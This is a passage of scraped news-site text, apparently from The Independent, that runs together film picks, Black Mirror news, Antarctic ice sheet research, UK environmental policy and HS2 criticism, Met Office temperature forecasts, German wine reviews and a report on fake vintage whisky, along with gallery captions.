disturbed misfit of a son (Noah Wiseman) before. Jennifer Kents thoughtful Australian chamber shocker, a feast of inventive design, claws its way into you and leaves scratch marks. PS Films to watch before you die When Harry Met Sally (1989) Is it impossible for men and women to be purely platonic? It is according to Harry, in this beautiful, brainy comedy about two neurotic New Yorkers who become friends and then more. Directed by Rob Reiner and written by wonderful Nora Ephron, it's a paean of sorts to Woody Allen's early films, with razor-sharp observations about sex and dating ("I'll have what she's having"). It's still the pinnacle of both Billy Crystal and Meg Ryan's careers. Columbia Pictures Films to watch before you die Inside Out (2015) Toy Story revolutionised animation; Up and Wall-E vie for the best opening of any film this century, but for sheer audacity Pete Docters head-trip must prevail. As a little girl struggles to adapt following a family move across country, her emotions go on a madcap adventure through the mind itself. Whats dazzling here is that two completely separate films unfold at once. Kids watch brightly coloured sprites on a quest; adults watch a psychologically dense depiction of how we think and feel. Its wonderful. Getty Films to watch before you die True Romance (1993) Disinterred from a script Tarantino wrote in the mid-Eighties called The Open Road the same screenplay that also spawned Natural Born Killers Tony Scott's True Romance is a pulpy, hyperviolent twist on a damsel-in-distress fairytale, with a plinky-plonky score that is based on Badlands. Christian Slater and Patricia Arquette are the lovers on the lam, chased by Christopher Walken's suave mafioso. Bombastic, brash and totally brilliant. Rex We can work together to demand changes to laws and rules and social norms and to right the imbalances that have shaped our lives. Depp recently starred in Fantastic Beasts sequel The Crimes of Grindelwald, to considerable criticism from domestic rights campaigners. In October, British GQ came under fire for glamourising domestic violence by featuring him on its cover as an outlaw. Netflix is releasing a feature-length Black Mirror film before the end of the year. Earlier this month, a now-deleted tweet appeared to confirm the return of Charlie Brookers anthology series on 28 December with an episode titled Bandersnatch. As predicted, it seems the series will indeed be returning but not in the form of a fifth season. Instead, it will be an original film that will mark the shows longest instalment to date, running one minute longer than season threes Hated in the Nation. Keen-eyed Netflix users have been sharing a photo of Black Mirror: Bandersnatchs listing on Netflix, which is listed as its own entity away from the shows existing 19 episodes. A search for the word Bandersnatch on Netflix brings up a title card for what is presented as a Netflix film. (Netflix) The description for Bandersnatch simply reads Be right back, which is also the title of the first episode of Black Mirrors second season, starring Hayley Atwell and Domhnall Gleeson. The episode heavily featured a fictional service that lets bereaved individuals stay in touch with the deceased. Could the series return to that world? And, if so, could Atwell and Gleeson be reprising their roles? Anything is possible in Black Mirror. The new season will reportedly feature a choose-your-own-adventure outing whereby fans can interactively dictate what events unfold. Its currently unknown if Bandersnatch will be in that format. The 20 best horror films on Netflix Show all 20 1 /20 The 20 best horror films on Netflix The 20 best horror films on Netflix The Autopsy of Jane Doe (2016) The 20 best horror films on Netflix Bram Stokers Dracula (1992) Moviestore Collection/Rex/Shutterstock The 20 best horror films on Netflix Cabin in the Woods (2012) The 20 best horror films on Netflix Candyman: Farewell to the Flesh (1995) The 20 best horror films on Netflix Carrie (1976) The 20 best horror films on Netflix Christine (1983) The 20 best horror films on Netflix Creep (2014) The 20 best horror films on Netflix Dont Breathe (2016) Stephen Lang and Dylan Minnette in Don't Breathe Moviestore/Rex The 20 best horror films on Netflix February (2015) The 20 best horror films on Netflix Freddy vs Jason (2003) The 20 best horror films on Netflix From Beyond (1986) The 20 best horror films on Netflix Hostel (2005) The 20 best horror films on Netflix Insidious (2010) Patrick Wilson in Insidious Rex The 20 best horror films on Netflix Killer Klowns from Outer Space (1988) The 20 best horror films on Netflix Mama (2013) Jessica Chastain and Nikolaj Coster-Waldau in Mama Kobal/Rex The 20 best horror films on Netflix Ravenous (2017) The 20 best horror films on Netflix The Texas Chainsaw Massacre 2 (1986) The 20 best horror films on Netflix Under the Shadow (2016) The 20 best horror films on Netflix Veronica (2017) The 20 best horror films on Netflix Wake Wood (2009) Last years series featured episodes USS Callister and Black Museum, the former of which added to the shows Emmy trophy count. Series five is expected to return to Netflix in 2019 with an episode starring Miley Cyrus. Flooding of huge swathes of land caused by the melting of a huge Antarctic ice sheet around 125,000 years ago, could be seen again today because the world's temperatures are similar, scientists have suggested. Temperatures during this interglacial period, also known as the Emian, were only one or two degrees warmer than today's average temperatures across the planet, but sea levels were between six and nine metres higher. Since then, the most recent ice age froze the earth, but although temperatures are once again on the rise, sea levels only risen modestly. New evidence has suggested that a huge mass of water, currently locked away in the West Antarctic ice sheet, was exposed to rising temperatures during the Emian period as a result of slight changes in the Earths orbit and spin axis. It is thought that the warmer climate caused the ice sheet to melt and what was dry land became subaquatic terrain. Findings from a sediment core taken from the West Antarctic ice sheet presented at a meeting of the American Geophysical Union in Washington DC this week, provides evidence suggesting the ice sheet disappeared during a period of climate similar to ours today. We had an absence of evidence, said Anders Carlson, a glacial geologist at Oregon State University in Corvallis, who led the work. I think we have evidence of absence now, ScienceMag.org reports. Our record thus provides the first direct indication of a much smaller last interglacial West Antarctic ice sheet, the research paper says, adding the work provides the historic geological context for the susceptibility of the West Antarctic ice sheet to collapse again." As we begin to understand the extent to which humans are driving climate change, glaciologists fear a collapse in the Antarctic ice sheet could again send sea levels rising, this time resulting in devastating world floods. NASA map of ice velocity across the whole Antarctic. The Totten Glacier, the size of the UK is the area of red in the east (right hand side). Ice melt is much faster and encompasses a larger area in the west. (PA) Until recently the collapse of the vast ice sheet covering Greenland had been blamed for the surge in sea-level rises during the Emian period. But in 2011, a team also led by Mr Carson excluded Greenland from the investigation after isotopic records indicated during this period ice had continued to grind away at the surface of the rock. The team then turned to the West Antarctic ice sheet. They initially studied 29 marine sediment cores to identify relevant isotopes created by erosion of rock by ice. Glacier collapse shows climate impact Show all 20 1 /20 Glacier collapse shows climate impact Glacier collapse shows climate impact An iceberg floats in a fjord near the town of Tasiilaq Reuters Glacier collapse shows climate impact Meltwater pools on top of the Helheim glacier near Tasiilaq Reuters Glacier collapse shows climate impact Safety officer Brian Rougeux works with student Febin Magar to assemble a radar dome while working in a science camp on the side of the Helheim glacier Reuters Glacier collapse shows climate impact Airplane Mechanic, David Fuller, left, works with a local worker to move a Nasa Gulfstream III during a pre-flight inspection before a flight to support the Oceans Melting Greenland research mission Reuters Glacier collapse shows climate impact Meltwater pools on top of the Helheim glacier Reuters Glacier collapse shows climate impact Earth Science Flight Programs Director at Nasa, Eric Ianson, looks out at the Greenland ice sheet Reuters Glacier collapse shows climate impact Glacial ice is seen from the window during the Nasa flight Reuters Glacier collapse shows climate impact Oceanographer David Holland's science camp on the side of the Helheim glacier Reuters Glacier collapse shows climate impact An iceberg floats in a fjord near the town of Tasiilaq Reuters Glacier collapse shows climate impact A large crevasse forms near the calving front of the Helheim glacier Reuters Glacier collapse shows climate impact Safety officer Brian Rougeux uses a drill to install antennas for scientific instruments that will be left on top of the Helheim glacier Reuters Glacier collapse shows climate impact Tabular icebergs float in the Sermilik Fjord after a large calving event at the Helheim glacier Reuters Glacier collapse shows climate impact Radar Engineer, Ron Muellerschoen, monitors data collection inside a NASA Gulfstream III flying above Greenland to measure loss to the country's ice sheet Reuters Glacier collapse shows climate impact GPS tracking equipment is left on top of the Helheim glacier REUTERS Glacier collapse shows climate impact Sunshine lights up the Helheim glacier Reuters Glacier collapse shows climate impact A glacial terminus above the east coast of Greenland REUTERS Glacier collapse shows climate impact Student Febin Magar watches as leftover wood burns in a research camp Reuters Glacier collapse shows climate impact Tabular icebergs float in the Sermilik Fjord after a large calving event Reuters Glacier collapse shows climate impact Oceanographer David Holland repairs a broken GPS module at his research camp Reuters Glacier collapse shows climate impact An iceberg floats in a fjord near the town of Tasiilaq Reuters They then studied one core in particular, from the Bellingshausen Sea, west of the Antarctic Peninsula. This provided a 140,000-year-record of deposits from various land masses eroded by sea ice. During the later part of the Emian period, the record from the West Antarctic ice sheet completely disappeared, indicating it had melted. We dont see any sediments coming from the much larger West Antarctic ice sheet, which wed interpret to mean that it was gone. It didnt have that erosive power anymore, Prof Carlson said. Fears have been raised the Antarctic ice sheet as well as the huge glaciers locked in by the ice shelves are already irreversibly melting at a rising rate. Support free-thinking journalism and attend Independent events Earlier this year it was reported the continent has lost about 3 trillion tonnes of ice in the last 25 years. The UK-sized Thwaites glacier in west Antarctica, is fast retreating and this volume of water alone would ultimately raise global sea level by about three metres, scientists warned in September this year. Meanwhile, Nasa has detected new signs large glaciers in East Antarctica, previously thought to be stable are losing ice, also raising the prospect of catastrophic sea level rises as global temperatures increase. Green groups have criticised the governments post-Brexit plan to set up a new independent watchdog to enforce environmental laws. Environment secretary Michael Gove said the Office for Environmental Protection would hold the UK government to account and ensure targets on pollution, waste, water quality and wildlife protection were met. But campaigners and policy experts said the proposed bodys powers were too weak for it to act as an effective safeguard after Brexit. Friends of the Earth chief executive Craig Bennett said the draft plan falls far short of the blueprint for a greener post-Brexit Britain." He added: "The much-vaunted green watchdog is too weak and fitted with blunt teeth. The Campaign to Protect Rural England (CPRE) and the Royal Society for the Protection of Birds (RSPB) also said the governments current plan was inadequate and did not fulfil its promise to deliver a green Brexit. Details revealed by Mr Goves department, suggested the Office for Environmental Protection would hold both government and public bodies to account. It would be able to take legal action to enforce green laws where necessary, replacing the European Commissions role after Brexit. Draft clauses for a wider environment bill were also published. The bill would make it a legal requirement for government to have a plan for improving the environment, to be updated at least every five years. Our ambition is to be the first generation to leave the environment in a better state than that in which we found it, said Mr Gove. We will keep building on our successes by enhancing our environmental standards and delivering a green Brexit. Science news in pictures Show all 20 1 /20 Science news in pictures Science news in pictures Pluto has 'beating heart' of frozen nitrogen Pluto has a 'beating heart' of frozen nitrogen that is doing strange things to its surface, Nasa has found. The mysterious core seems to be the cause of features on its surface that have fascinated scientists since they were spotted by Nasa's New Horizons mission. "Before New Horizons, everyone thought Pluto was going to be a netball - completely flat, almost no diversity," said Tanguy Bertrand, an astrophysicist and planetary scientist at NASA's Ames Research Center and the lead author on the new study. "But it's completely different. It has a lot of different landscapes and we are trying to understand what's going on there." Getty Science news in pictures Over 400 species discovered this year by Natural History Museum The ancient invertabrate worm-like species rhenopyrgus viviani (pictured) is one of over 400 species previously unknown to science that were discovered by experts at the Natural History Museum this year PA Science news in pictures Jackdaws can identify 'dangerous' humans Jackdaws can identify dangerous humans from listening to each others warning calls, scientists say. The highly social birds will also remember that person if they come near their nests again, according to researchers from the University of Exeter. In the study, a person unknown to the wild jackdaws approached their nest. At the same time scientists played a recording of a warning call (threatening) or contact calls (non-threatening). The next time jackdaws saw this same person, the birds that had previously heard the warning call were defensive and returned to their nests more than twice as quickly on average. Getty Science news in pictures Turtle embryos influence sex by shaking The sex of the turtle is determined by the temperatures at which they are incubated. Warm temperatures favour females. But by wiggling around the egg, embryos can find the Goldilocks Zone which means they are able to shield themselves against extreme thermal conditions and produce a balanced sex ratio, according to the new study published in Current Biology journal Ye et al/Current Biology Science news in pictures Elephant poaching rates drop in Africa African elephant poaching rates have dropped by 60 per cent in six years, an international study has found. It is thought the decline could be associated with the ivory trade ban introduced in China in 2017. Reuters Science news in pictures Ancient four-legged whale discovered in Peru Scientists have identified a four-legged creature with webbed feet to be an ancestor of the whale. Fossils unearthed in Peru have led scientists to conclude that the enormous creatures that traverse the planets oceans today are descended from small hoofed ancestors that lived in south Asia 50 million years ago A. Gennari Science news in pictures Animal with transient anus discovered A scientist has stumbled upon a creature with a transient anus that appears only when it is needed, before vanishing completely. Dr Sidney Tamm of the Marine Biological Laboratory could not initially find any trace of an anus on the species. However, as the animal gets full, a pore opens up to dispose of waste Steven G Johnson Science news in pictures Giant bee spotted Feared extinct, the Wallace's Giant bee has been spotted for the first time in nearly 40 years. An international team of conservationists spotted the bee, that is four times the size of a typical honeybee, on an expedition to a group of Indonesian Islands Clay Bolt Science news in pictures New mammal species found inside crocodile Fossilised bones digested by crocodiles have revealed the existence of three new mammal species that roamed the Cayman Islands 300 years ago. The bones belonged to two large rodent species and a small shrew-like animal New Mexico Museum of Natural History Science news in pictures Fabric that changes according to temperature created Scientists at the University of Maryland have created a fabric that adapts to heat, expanding to allow more heat to escape the body when warm and compacting to retain more heat when cold Faye Levine, University of Maryland Science news in pictures Baby mice tears could be used in pest control A study from the University of Tokyo has found that the tears of baby mice cause female mice to be less interested in the sexual advances of males Getty Science news in pictures Final warning to limit "climate catastrophe" The Intergovernmental Panel on Climate Change has issued a report which projects the impact of a rise in global temperatures of 1.5 degrees Celsius and warns against a higher increase Getty Science news in pictures Nobel prize for evolution chemists The nobel prize for chemistry has been awarded to three chemists working with evolution. Frances Smith is being awarded the prize for her work on directing the evolution of enzymes, while Gregory Winter and George Smith take the prize for their work on phage display of peptides and antibodies Getty/AFP Science news in pictures Nobel prize for laser physicists The nobel prize for physics has been awarded to three physicists working with lasers. Arthur Ashkin (L) was awarded for his "optical tweezers" which use lasers to grab particles, atoms, viruses and other living cells. Donna Strickland and Gerard Mourou were jointly awarded the prize for developing chirped-pulse amplification of lasers Reuters/AP Science news in pictures Discovery of a new species of dinosaur The Ledumahadi Mafube roamed around 200 million years ago in what is now South Africa. Recently discovered by a team of international scientists, it was the largest land animal of its time, weighing 12 tons and standing at 13 feet. In Sesotho, the South African language of the region in which the dinosaur was discovered, its name means "a giant thunderclap at dawn" Viktor Radermacher / SWNS Science news in pictures Birth of a planet Scientists have witnessed the birth of a planet for the first time ever. This spectacular image from the SPHERE instrument on ESO's Very Large Telescope is the first clear image of a planet caught in the very act of formation around the dwarf star PDS 70. The planet stands clearly out, visible as a bright point to the right of the center of the image, which is blacked out by the coronagraph mask used to block the blinding light of the central star. ESO/A. Muller et al Science news in pictures New human organ discovered that was previously missed by scientists Layers long thought to be dense, connective tissue are actually a series of fluid-filled compartments researchers have termed the interstitium. These compartments are found beneath the skin, as well as lining the gut, lungs, blood vessels and muscles, and join together to form a network supported by a mesh of strong, flexible proteins Getty Science news in pictures Previously unknown society lived in Amazon rainforest before Europeans arrived, say archaeologists Working in the Brazilian state of Mato Grosso, a team led by archaeologists at the University of Exeter unearthed hundreds of villages hidden in the depths of the rainforest. These excavations included evidence of fortifications and mysterious earthworks called geoglyphs Jose Iriarte Science news in pictures One in 10 people have traces of cocaine or heroin on fingerprints, study finds More than one in 10 people were found to have traces of class A drugs on their fingers by scientists developing a new fingerprint-based drug test. Using sensitive analysis of the chemical composition of sweat, researchers were able to tell the difference between those who had been directly exposed to heroin and cocaine, and those who had encountered it indirectly. Getty Science news in pictures Nasa releases stunning images of Jupiter's great red spot The storm bigger than the Earth, has been swhirling for 350 years. The image's colours have been enhanced after it was sent back to Earth. Pictures by: Tom Momary But Tom Fyans, director of campaigns and policy for the CPRE, said: Environmental principles are crucial to the way law is created, from planning and land use policy to air quality and biodiversity targets, yet the draft bill offers only the weak requirement that ministers have regard to or consider them. We are also seriously concerned that the (new) office will lack the true independence required to hold the government to account. The RSPBs director of conservation, Martin Harper, said the plan for a green watchdog falls short of the body we will need if we are to fill the gap in environmental protections left by Brexit. Support free-thinking journalism and attend Independent events Mr Harper said: As ministers scramble to prepare for a no-deal Brexit that would put our wildlife even further at risk, many of their key proposals, including a binding duty to secure the recovery of nature, remain in the form of policy promises, not law. Until this is remedied, the idea of a green Brexit will remain an elusive dream. Tom West, environment law and policy advisor for ClientEarth UK, added: This bill is a step in the right direction and we are pleased that the government has listened to some of our concerns. But there is still a long way to go before the new watchdog has the strong legal teeth needed to protect our environment. The Independent has contacted the Department for the Environment for comment. Wildlife experts have accused the company behind HS2 of failing to make adequate environmental preparations as it plans to build over irreplaceable habitats. The Wildlife Trusts say the new railway will cause unacceptable damage to nature, without sufficient efforts to conserve the woodlands and endangered species that will be harmed. As a public consultation into the environmental impact of the scheme comes to a close, the organisation have urged the government-owned company to increase efforts to restore threatened wild places. They also called on HS2 Ltd to save habitats like wetlands and ancient woodlands, which take hundreds of years to form and are considered irreplaceable. The companys own figures show the latest phase under consideration will impact over 100 important wildlife sites. Among these are 19 ancient woodlands, 12 sites deemed significant by scientists, and the homes of vulnerable species including lizards, hares and water voles. The company is obliged to make an attempt to restore or replace areas it harms. Yet in its plans for Phase 2b of the railway, covering 176 miles from Crewe to Manchester and the West Midlands to Leeds, campaigners said it was difficult to see how they would compensate for the damage. HS2 Ltds work on this latest phase of the HS2 route is derisory in its assessment of the environmental impact, said Katherine Hawkins, senior living landscapes officer at The Wildlife Trusts. British mammals fight for survival Show all 11 1 /11 British mammals fight for survival British mammals fight for survival The Mammal Societys assessment of Britains mammal populations is the first such review in over 20 years. The results reveal winners and losers, and highlight some of the key threats facing the countrys wildlife such as habitat loss, invasive species and the spread of diseases. British mammals fight for survival Hedgehogs Populations of the much-loved insectivore may have declined by as much as 73% Richard Bowler British mammals fight for survival Greater mouse-eared bats Only one of these flying mammals has been recorded in the whole country, in a railway tunnel in West Sussex Andrew Harrington British mammals fight for survival Rabbits Despite being a common sight across the countryside, rabbits have decreased in number by nearly 10% Danni Thompson British mammals fight for survival Black Rats Though not generally considered threatened animals, black rats number have collapsed in recent years due largely to pest control measures. However their far more common cousins, the brown rats, are thriving. Tim Melling British mammals fight for survival Red Squirrels Though it is difficult to measure changes in squirrel numbers, their range has shrunk considerably due largely to the spread of squirrel pox virus by invasive grey squirrel Alistair Marsh British mammals fight for survival Wildcats There has been a marked decline in wildcat populations, with only around 200 left in Scotland Rachel Profit British mammals fight for survival Badgers Due to legal protections badgers have recovered from past persecution and the density of their setts (holes) has increased by over 100% in recent decades Phil Mumby British mammals fight for survival Otters The banning of persistent organic pesticides has had a positive population effect on otters Allan Chard British mammals fight for survival Fallow Deer The 2018 review estimates a population size of fallow deer almost three times the size of that estimated in the 1995 review a positive trend that is seen in other deer species. James Shooter British mammals fight for survival Eurasian Beavers These aquatic mammals were nearly extinct in Europe at the start of the 20th century, but their reintroduction to the UK have been largely successful Paul Scott It is incomplete, there isnt enough detail, there are significant omissions, it lacks sufficient proposals to compensate for natures loss, and to make matters even worse, theres very little information about the impact on species. On the evidence we have been given, this phase will result in an unacceptable level of damage to wildlife along the route. Ms Hawkins highlighted the Great Manchester Wetlands Living Landscape as one of the essential wild areas under threat the current environmental statement appears to overlook. Its almost as if it doesnt exist, she said. The group also took issue with the companys commitment to no net loss of wildlife. They noted that with over half of British species already in decline, large developments like HS2 must commit to net gain, as recommended by government planning guidance. The government has committed in their 25-year environment plan to embed an environmental net gain in development, explained Rachel Hackett, living landscapes development manager for the trusts. HS2 has previously come under fire after it emerged that the route would destroy hundreds of homes and businesses. Campaigners accused those behind the project of opting for a more damaging route to keep costs down. Support free-thinking journalism and attend Independent events Responding to the accusations, a HS2 Ltd spokesperson said: HS2 aims to be one of the most environmentally responsible infrastructure projects ever delivered in the UK. We are committed to reducing the potential impact on the natural environment and aim to build a railway that supports new wildlife habitats, woodlands and community spaces which future generations can enjoy. Local communities and The Wildlife Trusts have a huge role to play. Their feedback will help us to design and build the best possible railway, and we encourage them to have their say and take part in the public consultation. The Trusts say they will make their views known in the consultation, which closes on Friday. Among their recommendations for a greener approach to the project were wide strips of wild countryside established on either side of the new line. Near-record high temperatures will hit around the world in 2019, Met Office scientists have predicted. The average global temperature next year is expected to be around 1.1C above pre-industrial levels, bringing it close to the record-breaking heat seen in 2016 when temperatures peaked at 1.15C above the 1850-1900 period used as a baseline for global warming. The rise will be the result of human-driven climate change combined with modest warming from the El Nino weather phenomenon in the Pacific, which pushes up temperatures further, the scientists said. Forecasts issued by the Met Office at the end of 2017 for global temperatures this year were closely in line with what has been seen in 2018. Then they predicted around 1C of warming, and estimates for January to October are showing temperatures around 0.96C above pre-industrial levels. Recommended Climate talks extended as US and other polluters hold up agreement The predictions of a close-to-record hot year is the latest in the warming trend the world has seen in recent years. Professor Adam Scaife, head of long-range prediction at the Met Office, said: "Our forecasts suggest that, by the end of 2019, 19 of the 20 warmest years on record will have occurred since the year 2000." Dr Doug Smith, Met Office research fellow, added: "The forecast for 2019 would place next year amongst the five warmest years on record, which would all have occurred since 2015. All of these years have been around 1C warmer than the pre-industrial period." The latest warning of rising temperatures comes after the World Meteorological Organisation (WMO) revealed that 2018 was among the warmest on record, with only 2016, 2015 and 2017 hotter. Extinction rebellion: Climate change protesters block London bridges Show all 25 1 /25 Extinction rebellion: Climate change protesters block London bridges Extinction rebellion: Climate change protesters block London bridges Demonstrators block Westminster Bridge in central London to show anger at government inaction on climate and ecological issues AFP/Getty Extinction rebellion: Climate change protesters block London bridges A pro environment protester is arrested by police on Lambeth bridge in London EPA Extinction rebellion: Climate change protesters block London bridges Organised by Extinction Rebellion, the protest is part of many taking place this weekend to bring attention to political inaction on issues of pollution and climate change Reuters Extinction rebellion: Climate change protesters block London bridges AFP/Getty Extinction rebellion: Climate change protesters block London bridges Organised by Extinction Rebellion, the protest is part of many taking place this weekend to bring attention to political inaction on issues of pollution and climate change PA Extinction rebellion: Climate change protesters block London bridges Demonstrators on Blackfriars Bridge PA Extinction rebellion: Climate change protesters block London bridges Police with demonstrators on Blackfriars Bridge PA Extinction rebellion: Climate change protesters block London bridges AFP/Getty Extinction rebellion: Climate change protesters block London bridges EPA Extinction rebellion: Climate change protesters block London bridges A demonstrator is led away by police on Blackfriars Bridge PA Extinction rebellion: Climate change protesters block London bridges Reuters Extinction rebellion: Climate change protesters block London bridges PA Extinction rebellion: Climate change protesters block London bridges Reuters Extinction rebellion: Climate change protesters block London bridges AFP/Getty Extinction rebellion: Climate change protesters block London bridges AFP/Getty Extinction rebellion: Climate change protesters block London bridges PA Extinction rebellion: Climate change protesters block London bridges EPA Extinction rebellion: Climate change protesters block London bridges EPA Extinction rebellion: Climate change protesters block London bridges EPA Extinction rebellion: Climate change protesters block London bridges PA Extinction rebellion: Climate change protesters block London bridges Reuters Extinction rebellion: Climate change protesters block London bridges EPA Extinction rebellion: Climate change protesters block London bridges AFP/Getty Extinction rebellion: Climate change protesters block London bridges EPA Extinction rebellion: Climate change protesters block London bridges Reuters As countries met to agree the rulebook to implement the Paris climate agreement, which aims to limit temperature rises to 1.5C or 2C above pre-industrial levels, scientists said carbon emissions continued to rise this year. Experts have warned of the need to take urgent and dramatic action across society to start to bring down emissions rapidly and put the world on track to limit temperature rises and avoid the worst impacts of climate change. After the two week United Nations climate summit in Katowice, Poland, ended last week, many thought that not enough progress had been made in acting to limit emissions and curb warming at the lower 1.5C target. Support free-thinking journalism and attend Independent events Climate change came under the spotlight this summer when scientists linked extreme weather events around the world, from heatwaves to wildfires, with elevated global temperatures. They warned that in a warmer world, such events will only become more frequent. Additional reporting by PA. On Wednesday, Michael Goves department released its new environment bill, a key part of the plastic-hating ministers vision for a green Brexit. Released towards the end of the day and with no fanfare, it was made public shortly after a riotous few hours of parliamentary theatrics following Jeremy Corbyns alleged stupid woman comment. The timing seemed odd, especially given the bills much vaunted status as the first of its kind in two decades, and the chance for Gove to burnish his green credentials. Perhaps it was just the result of a busy department rattling everything out before the Christmas break. Germany has always been renowned for its excellent white wines: a little on the sweet side, low in alcohol but always high in quality. In recent years, however, wine drinkers have tended to favour drier wines. As a result, the German market has evolved to cater for all tastes with some splendid dry rieslings and a variety of other white wines, such as pinot blanc, gewurztraminer and grauburgunder. Warmer summers and milder winters have also boosted roses and reds, with pinot noir the third most planted grape variety in the country. So take your pick from traditional rieslings to chunky reds the range is wide and growing. Hans Baer Pinot Noir 2016 75cl 13%: 7, Tesco Pinot noir is the third most planted grape variety in Germany after riesling and Muller-thurgau with areas such as Baden, Wurttemberg and, in this case, Pfalz leading the way with pinots that are vinified as dry red wines. This example with its soft dark fruit flavours and pleasing tannins is great value at this price. Buy now Peter & Ulrich Griebeler Dry Riesling 2017 75cl 12%: 12.99, Majestic From the Mosel Germanys third largest wine region in terms of production comes this dry and appealing riesling made by winemaking brothers Peter and Ulrich Griebeler. Oodles of apple-like freshness and hints of citrus and passion fruit allied to a zesty minerality make it a great partner for seafood, salads or a lightly spiced curry. Buy now Schloss Johannisberg Riesling Bronzelack Trocken Rheingau 2016 75cl 12.5%: 21.95, Slurp Everything about this wine shouts quality even before you take the cork out. A single vineyard wine from what the label proudly proclaims is the worlds premier riesling estate, its made from grapes that are picked late so that the flavours are layered, concentrated and complex. Huge lemon and citrus flavours abound with notes of herb and spice. Can be drunk now or kept for another good few years. Buy now Villa Wolf Gewurztraminer 2016 75cl 11.5%: 9.95, Slurp One of the worlds most distinctive wines, the German version of this aromatic classic is drier and perhaps a little less flamboyant than the gewurztraminers from Frances Alsace region. From an estate founded in 1756 which saw its fortunes rise in the late 20th century, this is an off-dry, bright and ripe wine with full fruit flavours that can be enjoyed with spicy foods or strong cheeses. Buy now Dr Loosen Slate Hill Mosel Riesling 2017 75cl 8.5%: 10.99, Majestic Low in alcohol, but rich in flavour, this is a traditional Riesling from Germanys Mosel Valley with peach, apricot and citrus fruits battling it out on your tongue, and a welcome mineral finish. Honeyed and sweeter than some, its the perfect accompaniment to a robust curry or something equally spicy. Buy now Klein Cabernet Sauvignon Rose Trocken 2017 75cl 12%: 10.99, Naked Wines Germany isnt the first place youd look to for rose, but winemaker Gerhard Klein has been able to produce a relatively cool climate rose that offers fresh and crisp red fruit flavours with notes of spice and pepper. It would be shame to wait for the summer to enjoy this, so why not consider an all year round tipple? Buy now Bulls**t! Drink a Real Grauburgunder! 2016 75cl 13%: 18, Red Squirrel Heres a wine to get the conversation going should there be a momentary pause around the supper table. Telling it like it is are winemaking brothers, Alex and Martin Bauer, with the German version of the grape known as pinot grigio in Italy and pinot gris in France. Crisp and dry with notes of peach and apple and floral hints, plus a pleasant acidity, equate to lots of quality and no bull. Buy now Abtei Himmerod Riesling Feinherb 2016 75cl 10.5%: 7.99, Ocado Cistercian monks were making wine at the Himmerod Abbey in the Rhineland-Palatinate as far back as the 12th century, and its a tradition that maintained in this classic pale yellow riesling with its orchard and citrus flavours and agreeable acidity. And, at under 8, its a real bargain. Buy now Taste the Difference German Pinot Blanc 2017 75cl 13%: 7.50, Sainsburys A bright and lively pinot blanc made in the Pfalz region for Sainsburys by winemaker Dominik Meyer, with lots of green fruit and orchard flavours and a minerality that adds to the mix, rather than overpowering it. Enjoy it with cheese (especially goats cheese) or salads. Buy now Asia de Cuba Cosmopolitan Riesling 2015 75cl 11%: 12.99, Virgin Wines A wine thats tailored to accompany Asian food it won an award as Best Wine with Singapore Chilli Crab at a recent competition before going on to snaffle the top prize as well. A slight sweetness, along with a touch of lime-accented acidity, makes it the go-to wine for foodies although its equally good as an aperitif. Buy now Tiefgang Weissburgunder (Pinot Blanc) 2016 75cl 13%: 8.99, Ocado Made from grapes grown on a mineral-rich soil in the Pfalz region which gives this aromatic pinot a distinctive, almost nutty flavour, along with notes of pear, apple and quince. If youre a fan of sauvignon blanc, then you should enjoy this too. A quality wine at a decent price. Buy now Marks and Spencer Stepp Riesling *S* 2017 75cl 13%: 15, Marks and Spencer(90 for a case of six) A beautiful dry riesling thats the result of a collaboration between M&S winemaker Belinda Kleinig and German cellar master Gerd Stepp, using grapes from the Kallstadter Saumagen vineyard in the Pfalz region and layered with flavours of apple, soft fruit and citrus and a long finish. Enjoy it now with sushi, tuna or salmon or it can be kept for another two or three years. Buy now The Verdict: German wines Traditional riesling such as the Dr Loosen Slate Hill Mosel with an alcoholic strength of only 8.5 per cent still has its followers, but newer and drier Rieslings, such as the Peter & Ulrich Griebeler and the M&S Stepp Riesling, also offer great quality at a reasonable price. Other whites, such as the Tiefgang Weissburgunder, the Villa Wolf Gewurztraminer or the outspoken Bullshit! Drink a Real Grauburgunder! provide a range of splendid choices. But the reds and roses, such as the Klein Cabernet Sauvignon Rose and our Best Buy, the Hans Baer Pinot Noir, also merit investigation IndyBest product reviews are unbiased, independent advice you can trust. On some occasions, we earn revenue if you click the links and buy the products, but we never allow this to bias our coverage. The reviews are compiled through a mix of expert opinion and real-world testing. More than a third of vintage Scotch whiskies tested at a specialist laboratory centre have been found to be modern fakes, according to a new investigation. Tests undertaken at the Scottish Universities Environmental Research Centre (Suerc) in East Kilbride confirmed that 21 out of 55 bottles of rare Scotch whisky were either fake or not distilled in the year declared. The fake bottles could have been worth around 635,000 if proven real, claim specialists. All malt whisky samples which had been stated as dating from around 1900 or earlier were also found to be fake. Following growing concern surrounding the production of fake whisky in the secondary market, geochemistry experts at Suerc teamed up with Dunfermline-based Rare Whisky 101 (RW101), one of the worlds leading specialists in rare whisky, to carry out the testing. The scientists randomly sampled, forensically tested and analysed a range of different whiskies acquired from auctions, private collections and retailers. To find out the ages of the whiskies in each bottle, Suerc measured the residual concentrations of a radioactive isotope of carbon which provides each whisky with its own radioactive date signature. This process helps them to establish the distillation years of whiskies to within a two to three year period post the 1950s. Rare whiskies found to be among the fakes include a bottle of Ardbeg 1885 acquired from a private owner and a bottle of rare Thornes Heritage early-20th century blended whisky purchased from an auctioneer. Professor Gordon Cook, head of the Suerc Radiocarbon Laboratory, said: It is disappointing to see the large percentage of vintage whiskies that turn out to be fake. Three rare bottles of single malt proven to be bogus (Iain McLean) As a result of the findings, RW101 estimated that approximately 41m worth of rare whisky currently in the secondary market, and in existing collections, is fake. That number is more than the entire UK auction market, which the company predicted to exceed 36m by the end of 2018. David Robertson, co-founder of RW101, said that every purported rare whisky bottle should be assumed fake until proven genuine, certainly if the bottle claims to be a single malt Scotch whisky. This problem will only grow as prices for rare bottles continue to increase, he added. His co-founder, Andy Simpson, said that while the vast majority of whisky vendors arent knowingly selling fake whisky, he believes the exploding demand for rare whisky is inevitably attracting rogue elements to the sector. Simpson urged buyers, auction houses, retailers and brand owners to refrain from busying rare whiskies unless it has a professional certificate of of distillation year/vintage by a carbon dating laboratory. Last year, RW101 and the University of Oxford discovered a 7,600 dram of vintage Scotch whisky bought in a Swiss hotel to be a fake. The festive season is here once again and we have put together a selection of tipples that made a lasting impression during 2018 with the help of our wine and spirits columnist Adrian Smith. From sparkling to sweet, white to red and even gizmos and gadgets indulge, explore and get merry. The Sparkles Ding dong, time to pop the cork heres a selection of bubbles that tickled us the right way this year. From affordable to fancy, glasses at the ready. Armand De Brignac Brut Gold Champagne and Flutes Set Gorgeous case, two 